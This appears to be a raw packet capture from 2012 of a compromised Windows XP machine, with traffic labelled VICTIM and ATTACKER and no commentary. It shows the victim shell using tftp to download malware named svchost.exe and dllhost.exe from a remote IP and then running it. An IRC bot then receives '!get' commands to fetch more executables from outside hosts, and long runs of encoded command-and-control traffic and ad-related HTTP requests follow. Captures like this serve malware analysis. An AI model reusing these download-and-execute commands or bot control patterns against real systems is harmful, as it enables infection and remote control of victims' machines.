VICTIM: Microsoft Windows XP [Version 5.1.2600] VICTIM: (C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> VICTIM: dir wins\\dllhost.exe VICTIM: Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\winsFile Not FoundC:\\WINDOWS\\system32> VICTIM: dir dllcache\\tftpd.exe VICTIM: Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\dllcacheFile Not FoundC:\\WINDOWS\\system32> VICTIM: tftp -i 175.112.215.59 get svchost.exe wins\\SVCHOST.EXE VICTIM: \000\001svchost.exe\000octet\000 VICTIM: \000\001svchost.exe\000octet\000 VICTIM: \000\004\000\001 VICTIM: \000\005\000\005unexpected port number\000 VICTIM: \000\004\000\002 VICTIM: \000\004\000\003 VICTIM: \000\004\000\004 VICTIM: \000\004\000\005 VICTIM: \000\004\000\006 VICTIM: \000\005\000\005unexpected port number\000 VICTIM: \000\004\000\007 VICTIM: \000\004\000\010 VICTIM: \000\004\000\t VICTIM: \000\004\000 VICTIM: \000\004\000\013 VICTIM: \000\004\000\014 VICTIM: \000\004\000 VICTIM: \000\004\000\016 VICTIM: \000\005\000\005unexpected port number\000 VICTIM: \000\004\000\017 VICTIM: \000\004\000\020 VICTIM: \000\004\000\021 VICTIM: \000\004\000\022 VICTIM: \000\004\000\023 VICTIM: \000\004\000\024 VICTIM: \000\004\000\025 VICTIM: \000\004\000\026 VICTIM: \000\004\000\027 VICTIM: \000\004\000\030 VICTIM: \000\004\000\031 VICTIM: \000\004\000\032 VICTIM: \000\004\000\033 VICTIM: \000\004\000\034 VICTIM: \000\004\000\035 VICTIM: \000\004\000\036 VICTIM: \000\004\000\037 VICTIM: \000\004\000 VICTIM: \000\005\000\005unexpected port number\000 VICTIM: \000\004\000! VICTIM: \000\004\000\ VICTIM: \000\004\000# VICTIM: \000\004\000\$ VICTIM: \000\004\000% VICTIM: \000\004\000& VICTIM: \000\004\000' VICTIM: \000\004\000( VICTIM: \000\004\000) VICTIM: \000\004\000* VICTIM: \000\004\000+ VICTIM: \000\004\000, VICTIM: \000\004\000- VICTIM: \000\004\000. VICTIM: \000\004\000/ VICTIM: \000\004\0000 VICTIM: \000\004\0001 VICTIM: \000\004\0002 VICTIM: \000\004\0003 VICTIM: \000\004\0004 VICTIM: \000\004\0005 VICTIM: \000\004\0006 VICTIM: \000\004\0007 VICTIM: \000\004\0008 VICTIM: \000\004\0009 VICTIM: \000\004\000: VICTIM: Transfer successful: 29184 bytes in 16 seconds, 1824 bytes/s VICTIM: C:\\WINDOWS\\system32> VICTIM: \000\001dllhost.exe\000octet\000 VICTIM: \000\004\000\001 VICTIM: tftp -i 175.112.215.59 get dllhost.exe wins\\DLLHOST.EXE VICTIM: \000\004\000\002 VICTIM: \000\004\000\003 VICTIM: \000\004\000\004 VICTIM: \000\004\000\005 VICTIM: \000\004\000\006 VICTIM: \000\004\000\007 VICTIM: \000\004\000\010 VICTIM: \000\004\000\t VICTIM: \000\004\000 VICTIM: \000\004\000\013 VICTIM: \000\004\000\014 VICTIM: \000\004\000 VICTIM: \000\004\000 VICTIM: \000\004\000\016 VICTIM: \000\004\000\017 VICTIM: \000\004\000\020 VICTIM: \000\004\000\021 VICTIM: \000\004\000\022 VICTIM: \000\004\000\023 VICTIM: \000\004\000\024 VICTIM: \000\004\000\025 VICTIM: \000\004\000\026 VICTIM: \000\004\000\027 VICTIM: \000\004\000\030 VICTIM: \000\004\000\031 VICTIM: \000\004\000\032 VICTIM: \000\004\000\033 VICTIM: \000\004\000\034 VICTIM: \000\004\000\035 VICTIM: \000\004\000\036 VICTIM: \000\004\000\037 VICTIM: \000\004\000 VICTIM: \000\004\000! VICTIM: \000\004\000\ VICTIM: \000\004\000# VICTIM: \000\004\000\$ VICTIM: \000\004\000% VICTIM: \000\004\000& VICTIM: \000\004\000' VICTIM: \000\004\000( VICTIM: Transfer successful: 19968 bytes in 11 seconds, 1815 bytes/s VICTIM: C:\\WINDOWS\\system32> VICTIM: wins\\DLLHOST.EXE VICTIM: NICK xzsdysdiUSER k020501 . . :- VICTIM: JOIN &virtu ATTACKER: :u. PRIVMSG xzsdysdi :!get http:/zhongmail.com:88/sbjb.txt:u. PRIVMSG xzsdysdi :!get http:/hujikl23.com/ftx.txt:u. PRIVMSG xzsdysdi :!get http:/hujikl23.com/temp/fast.exe VICTIM: GET /sbjb.txt HTTP/1.0User-Agent: DownloadHost: zhongmail.com:88Pragma: no-cache ATTACKER: PING :i. ATTACKER: PONG :i. VICTIM: JOIN &virtu VICTIM: JOIN &virtu ATTACKER: PING :i. ATTACKER: PONG :i. VICTIM: JOIN &virtu ATTACKER: GET /g1.php?u=hhhh&v=6&m=83661E3C-C17A-4DAA-BDFC-B4CB026E715F HTTP/1.1Accept: */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; waoc)Host: www.lddwj.comCache-Control: no-cache ATTACKER: HTTP/1.1 200 OKDate: Thu, 05 Apr 2012 05:15:41 GMTServer: Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635X-Powered-By: PHP/5.3.10Transfer-Encoding: chunkedContent-Type: text/html3\357\273\277 ATTACKER: 15JBFXDEHYEXJM----- ATTACKER: 1dEUHYBOIQGJEOILGWELFR----- ATTACKER: 24JHGKBNBIIVENGPGCGFCTFJFIFAJDEUIIHI ATTACKER: 46JHGKBNBIIVENGSBUBWCXFUCQBEHJEFAUEUDBHEGFDSDABNHHEXBMAQHKIBASBAAEAVIJ ATTACKER: 3eJHHBEXJDBRGTISJCBWJKDSJKBYGJGTDVCCBVIQIYGBEHFXEBGZBWGGDOBAIO ATTACKER: 29JHGKBNBIIVENGMJJJQAVFKAKETAGGDHQ----- ATTACKER: 1fDUHNHLCSCEGRDPJQAYDJBB----- ATTACKER: 172JHHBEXJDBRHIIHGJCDCQHUHHHTBWAEJPBDBRHBIACMAHEHGKCUIODGAUJRILDWDABSFOGUDMAXFBEZFMCNIAFXHEALARGBDAJVHCAOEPGREPGMEUAPIHFPHQHZDVBCAMDGDAHYHAGLHUHDIXGHDSDXFFHRGRJTALDMJMILGLABHZFAACFAFZARFFEDGNGBHSDRHMFLGBFRFSDUCUHUIDJNJLEBHXDACBGCBQEQIZHAINCMEFBUDLAYBTISBCDEGJGTCUEKBWAMDPILCJCHCNCVFEGJAUHSFEDWBZBJIDFNBCBFBLHMFGCBADHZAQEXIAGVAVDJBJHKJMHLDCCEGEIHCPESCABRIRANEPEQEOAQINDMDV ATTACKER: 4aJGFOFZCFCLHJFRGAIGIADKEUISIZBODMEHITAWIBBPCSDOCAETBDIHJVGTEBIXINHBGWDBGW ATTACKER: 1eJAEJBSHSCLIGFUCTCWFFGJCZJCJS38JHHBEXJDBRGHFNACGWJRFXBRDKAQAXBYGHAWBLCSEDBGJMJVJLDHAI95IXHVCNDEHQIFCFDQEXEBFRBIFHDBBMHGGRCGJSGCIZIUHZFZAXEHGDDZAGIVGXFWJSAPCJFYAACMCPJAAQBZDIGFFIHDHNIPAGHSDVENHOBMGQCGEWIWAFCYADCWAKFRCXGFCACNFCCS-----1fDUHNHLCSCEGRDPJQAYDJBB-----134JHHBEXJDBRHIIHGJCDCQHUHHHTBWAEJPAYCXJSDKCUJSIXAGAZBGABCBEABNJSHYHQGACFHFBCBDFADRFHEJJPCLIGBNIPHFGLEDEOIGEVHIHJEZHWAIJIFDDDEMDVEAGOENEVDUHFAIAPJVHOBVHCDHBVHRDTACBIGOHTBHCTADILHOASBYCRDSHBCRDLEZGIFOJMHXHKCOICAPESGGJQJSAWHHFFJGHPEYFPFGFFAHBTAPBXDCCUGVAGAOBQDKCHBCFGGUCEHODJGYECHTBYAHHMEGGKDJIXGZGGJIBMFAAYBFAN42JGFOFZCFCLHJFRGAIGIADKEUISIZBODMEHITAWIGBNJMEKCYARDMIHGTJCCOBPFU26JAEJBSHSCLIGFUCTAFDFDMFAJFHUHTJBGNHT30JHHBEXJDBRGHFNACGWJRFXBRDKADFPGRAPIHFZGWDYFMFUadIXHVCNDEHQIFCFDQEXEBFRDQDQGRGNGSJBHNBEGQGDHMCLDXHZGSHXBSCACWIZDGATGQBKESEUIGIVFOHWBSESDYISATIEEDIBFGIZEPBIJJAPGADQAJDFDICHHBHQJEFIHUAEGUIAFHIVEPHLILDRERCWHSEKCEHKDR-----15EKJHBCJODFDB-----18JMGRFLFVJBDYHZFLHVFABJ1cJMGRFLFVJMFWFUJFIEGNFFIVJJ1aITBAFJDPDCIAFPBNJLBVBYBB42IUBHCZIIDNCEFWIGDZEUBQADIHCQJKGWFDEOBDITCGGFAFHZDXFJBWIHFUBMDBHD26IUBHCZIIDNCEFWIGDZEUBTHDBQASIVCXJJIB2aIZCBBAHGEVICEAACIDGOCZCXDXAABGJFFWDUGQBZ2aIZCBBAHGEVICEAABBDAGEZJDFSDRFIGTCJHVEVBF14IZCBBAHGEVICEAAAEE22JMHIICFADDFACSECGJAKAQDTDFALGUBJ12IXHVCTDWGYAHHPAJ1dJNIZGDGDJAHFFWFFBRIN-----15EKJHBCJODFDB-----18JMGRFLFVJBDYHZF ATTACKER: GIJHSJM1cJMGRFLFVJMFWFUJFIEGNFFIVJJ1aITBAFJDPDCIAFPBNJLBVBYBB68IUBHCZIIDNCEFWIGDZEUBQADIHCQJKGWFDEOBDITCGHDGWHNCVEPDIBPIYEGCEHNIVBZFJHAIQEMJNBPAKFAFODPHXBOGUEUGADKAB26IUBHCZIIDNCEFWIGDZEUBTHDBQASIVCXJJIB24IZCBBAHGEVICEAACIDGOCMIOHSHHHHJNGN22IZCBBAHGEVICEAABBDEDBBADHVALCQAI14IZCBBAHGEVICEAAAEE22JMHIICFADDFACSECGJAKAQDTDFALGUBJ12IXHVCTDWGYAHHPAJf1JNIZGDGDJAHFFWFFBRINHPGREMCSIREZJDHXGNCTEQEWFJCNENFWFQICIXIMAWFPGAEIGZDSIMFWJSBPDIFSHZIBFEAZGHGFHAJOGVANGOIEHGJCBWBLBHDTEZIFFWCQFYHCJPHRDQDNGDEHCLFOBDCTAEENFWHRCLCEEYIWCRDIAOJJAPGBABJTDTIVEZGACJGQJGITFKIXAHCQEUGZGUCOBZGHEDJEDTBXBGJC-----15EKJHBCJODFDB-----18JMGRFLFVJBDYHZFGIJHSJL1cJMGRFLFVJMFWFUJFIEGNFFIVJJ1aITBAFJDPDCIAFPBNJLBVBYBB72IUBHCZIIDNCEFWIGDZEUBQADIHCQJKGWFDEOBDITCGHDGWHNCVEDAZGFIOFLEDGMFYGECHBPERIQEMILIACMIYAPFAIKBEAPBTIBARAQCJJDCMIS26IUBHCZIIDNCEFWIGDZEUBTHDBQASIVCXJJIB24IZCBBAHGEVICEAACIDGOCMIOHSHHHHJNGN22IZCBBAHGEVICEAABBDEDBBADHVALCQAI14IZCBBAHGEVICEAAAEE22JMHIICFADDFACSECGJAKAQDTDFALGUBJ12IXHVCTDWGYAHHPAJf3JNIZGDGDJAHFFWFFBRINHPGREMCSIREZJDHXGNCTEQEWFJCNENFWFQICIXIMAWFPGAEIGZDSIMFWJSBPDIFSHZIBFEAZGHGFHAJOGVANGOIEHGJCBWBLBHDTEZIFFWCQFYHCJPHRDQDNGDEHCLFOBDCTAEENFWHRCLCEEYIWCRDIAOJJAPGBABJTDTIVEZGACJGQJGITFKIXAHCQEUGZGUCOBZGHEDJEDTCADJCFBT-----15EKJHBCJODFDB-----18JMGRFLFVJBDYHZFGIJHSJK1cJMGRFLFVJMFWFUJFIEGNFFIVJJ1aITBAFJD ATTACKER: PDCIAFPBNJLBVBYBB4cIUBHCZIIDNCEFWIGDZEUBQADIHCQJKGWFDEOBDITCGHDGWHNCVEDBFIJAEBMGRINGXCFJUBGCP26IUBHCZIIDNCEFWIGDZEUBTHDBQASIVCXJJIB24IZCBBAHGEVICEAACIDGOCMIOHSHHHHJNGN22IZCBBAHGEVICEAABBDEDBBADHVALCQAI14IZCBBAHGEVICEAAAEE22JMHIICFADDFACSECGJAKAQDTDFALGUBJ12IXHVCTDWGYAHHPAJ7bJNIZGDGDJAHFFWFFBRINHPGREMCSIREZJDHXGMGZDCAZEZARADFTCNGNAPCZGIAXJTIZJJHDADIZIABACDJFBGJFCDFFBKJLETAWFLAWHSJGCAFUIB-----15EKJHBCJODFDB-----18JMGRFLFVJBDYHZFGIJHVAW1cJMGRFLFVJMFWFUJFIEGNFFIVJJ1aITBAFJDPDCIAFPBNJLBVBYBB5cIUBHCZIIDNCEFWIGDZEUBQADIHCQJKGWFDEOBDITCGHDGWHNCVEDAXCQAKAOIGBABNBGJBCKBTDAFNHHAYERJRJEEF26IUBHCZIIDNCEFWIGDZEUBTHDBQASIVCXJJIB24IZCBBAHGEVICEAACIDGOCMIOHSHHHHJNGN22IZCBBAHGEVICEAABBDEDBBADHVALCQAI14IZCBBAHGEVICEAAAEE22JMHIICFADDFACSECGJAKAQDTDFALGUBJ12IXHVCTDWGYAHHPAJf3JNIZGDGDJAHFFWFFBRINHPGREMCSIREZJDHXGNCTEQEWFJCNENFWFQICIXIMAWFPGAEIGZDSIMFWJSBPDIFSHZIBFEAZGHGFHAJOGVANGOIEHGJCBWBLBHDTEZIFFWCQFYHCJPHRDQDNGDEHCLFOBDCTAEENFWHRCLCEEYIWCRDIAOJJAPGBABJTDTIVEZGACJGQJGITFKIXAHCQEUGZGUCOBZGHEDJEDTCADJCFBT-----15EKJHBCJODFDB-----18JMGRFLFVJBDYHZFGIJHVAX1cJMGRFLFVJMFWFUJFIEGNFFIVJJ1aITBAFJDPDCIAFPBNJLBVBYBB58IUBHCZIIDNCEFWIGDZEUBQADIHCQJKGWFDEOBDITCGHDGWHNCVEDAXDEGLACDZEYIXFZGPGMDYEMEHCAJBHCGN26IUBHCZIIDNCEFWIGDZEUBTHDBQASIVCXJJIB24IZCBBAHGEVICEAACIDGOCMIOHSHHHHJNGN22IZCBBAHGEVICEAABBDE ATTACKER: DBBADHVALCQAI14IZCBBAHGEVICEAAAEE22JMHIICFADDFACSECGJAKAQDTDFALGUBJ12IXHVCTDWGYAHHPAJ1dJNIZGDGDJAHFFWFFBRIN-----15EKJHBCJODFDB-----18JMGRFLFVJBDYHZFGIJHVAY1cJMGRFLFVJMFWFUJFIEGNFFIVJJ1aITBAFJDPDCIAFPBNJLBVBYBB58IUBHCZIIDNCEFWIGDZEUBQADIHCQJKGWFDEOBDITCGHDGWHNCVDTADESJTDCJOELFIEWHUGPDSAWJEHJBBIQCY26IUBHCZIIDNCEFWIGDZEUBTHDBQASIVCXJJIB24IZCBBAHGEVICEAACIDGOCMIOHSHHHHJNGN22IZCBBAHGEVICEAABBDEDBBADHVALCQAI14IZCBBAHGEVICEAAAEE22JMHIICFADDFACSECGJAKAQDTDFALGUBJ12IXHVCTDWGYAHHPAJ1dJNIZGDGDJAHFFWFFBRIN-----15EKJHBCJODFDB-----18JMGRFLFVJBDYHZFGIJHVAZ1cJMGRFLFVJMFWFUJFIEGNFFIVJJ1aITBAFJDPDCIAFPBNJLBVBYBB4cIUBHCZIIDNCEFWIGDZEUBQADIHCQJKGWFDEOBDITCGHDGWHNCVDTAHBLAWJBDUGSEGJSBHFDAU26IUBHCZIIDNCEFWIGDZEUBTHDBQASIVCXJJIB24IZCBBAHGEVICEAACIDGOCMIOHSHHHHJNGN22IZCBBAHGEVICEAABBDEDBBADHVALCQAI14IZCBBAHGEVICEAAAEE22JMHIICFADDFACSECGJAKAQDTDFALGUBJ12IXHVCTDWGYAHHPAJf3JNIZGDGDJAHFFWFFBRINHPGREMCSIREZJDHXGNCTEQEWFJCNENFWFQICIXIMAWFPGAEIGZDSIMFWJSBPDIFSHZIBFEAZGHGFHAJOGVANGOIEHGJCBWBLBHDTEZIFFWCQFYHCJPHRDQDNGDEHCLFOBDCTAEENFWHRCLCEEYIWCRDIAOJJAPGBABJTDTIVEZGACJGQJGITFKIXAHCQEUGZGUCOBZGHEDJEDTCADJCFBT-----15EKJHBCJODFDB-----18JMGRFLFVJBDYHZFGIJHVBA1cJMGRFLFVJMFWFUJFIEGNFFIVJJ1aITBAFJDPDCIAFPBNJLBVBYBB4eIUBHCZIIDNCEFWIGDZEUBQADIHCQJKGWFDEOBDITCGHDGWHNCVDTA ATTACKER: HBLAWJCHJBZCSFJIUIYHBBS26IUBHCZIIDNCEFWIGDZEUBTHDBQASIVCXJJIB24IZCBBAHGEVICEAACIDGOCMIOHSHHHHJNGN22IZCBBAHGEVICEAABBDEDBBADHVALCQAI14IZCBBAHGEVICEAAAEE22JMHIICFADDFACSECGJAKAQDTDFALGUBJ12IXHVCTDWGYAHHPAJ1dJNIZGDGDJAHFFWFFBRIN-----15EKJHBCJODFDB-----18JMGRFLFVJBDYHZFGIJHVBB1cJMGRFLFVJMFWFUJFIEGNFFIVJJ1aITBAFJDPDCIAFPBNJLBVBYBB4aIUBHCZIIDNCEFWIGDZEUBQADIHCQJKGWFDEOBDITCGHDGWHNCVDTAHBLAWJGEKIPENBVHSCV26IUBHCZIIDNCEFWIGDZEUBTHDBQASIVCXJJIB24IZCBBAHGEVICEAACIDGOCMIOHSHHHHJNGN22IZCBBAHGEVICEAABBDEDBBADHVALCQAI14IZCBBAHGEVICEAAAEE22JMHIICFADDFACSECGJAKAQDTDFALGUBJ12IXHVCTDWGYAHHPAJ1dJNIZGDGDJAHFFWFFBRIN-----0 ATTACKER: GET / HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: ontollc.comConnection: Keep-Alive ATTACKER: GET /style/style1_21.css HTTP/1.1Accept: */*Referer: http:/ontollc.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: ontollc.comConnection: Keep-Alive ATTACKER: GET /images/parked_layouts/tl.gif HTTP/1.1Accept: */*Referer: http:/ontollc.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: ontollc.comConnection: Keep-Alive ATTACKER: GET /images/parked_layouts/tr.gif HTTP/1.1Accept: */*Referer: http:/ontollc.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: ontollc.comConnection: Keep-Alive ATTACKER: GET /images/parked_layouts/bl.gif HTTP/1.1Accept: */*Referer: http:/ontollc.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: ontollc.comConnection: Keep-Alive ATTACKER: GET /images/parked_layouts/br.gif HTTP/1.1Accept: */*Referer: http:/ontollc.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: ontollc.comConnection: Keep-Alive ATTACKER: GET /images/incorporation_services/incorporation_services_385x261.jpg HTTP/1.1Accept: */*Referer: http:/ontollc.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: ontollc.comConnection: Keep-Alive ATTACKER: GET /p.js HTTP/1.1Accept: */*Referer: http:/ontollc.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: p.chango.comConnection: Keep-Alive ATTACKER: GET /images/parked_layouts/s.gif HTTP/1.1Accept: */*Referer: http:/ontollc.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: ontollc.comConnection: Keep-Alive ATTACKER: GET /c/c.js?chaid=parkedcom&dt=false&p=http%3A%2F%2Fontollc.com%2F&r=&s=Llc&b=&t=ontollc.com HTTP/1.1Accept: */*Referer: http:/ontollc.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: parkedcom.d.chango.comConnection: Keep-Alive ATTACKER: GET /c/rt.js?p=http%3A%2F%2Fontollc.com%2F&dt=false&chaid=parkedcom&s=Llc&t=ontollc.com&is_new_user=true HTTP/1.1Accept: */*Referer: http:/ontollc.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: parkedcom.d.chango.comConnection: Keep-AliveCookie: _t=6dcbbce2-7ede-11e1-9c9b-00259035d55a ATTACKER: GET /rum?cm_dsp_id=30&expiration=1333646050&external_user_id=6dcbbce2-7ede-11e1-9c9b-00259035d55a HTTP/1.1Accept: */*Referer: http:/ontollc.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: r.casalemedia.comConnection: Keep-Alive ATTACKER: GET /match?admeld_adprovider_id=333&external_user_id=6dcbbce2-7ede-11e1-9c9b-00259035d55a HTTP/1.1Accept: */*Referer: http:/ontollc.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: tag.admeld.comConnection: Keep-Alive ATTACKER: GET /pixel?google_cm=&google_nid=chango&google_sc=&partner=AdX&token=6dcbbce2-7ede-11e1-9c9b-00259035d55a HTTP/1.1Accept: */*Referer: http:/ontollc.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: cm.g.doubleclick.netConnection: Keep-Alive ATTACKER: GET /pixel?google_cm=&google_nid=chango&google_sc=&partner=AdX&token=6dcbbce2-7ede-11e1-9c9b-00259035d55a&google_tc= HTTP/1.1Accept: */*Referer: http:/ontollc.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: cm.g.doubleclick.netConnection: Keep-Alive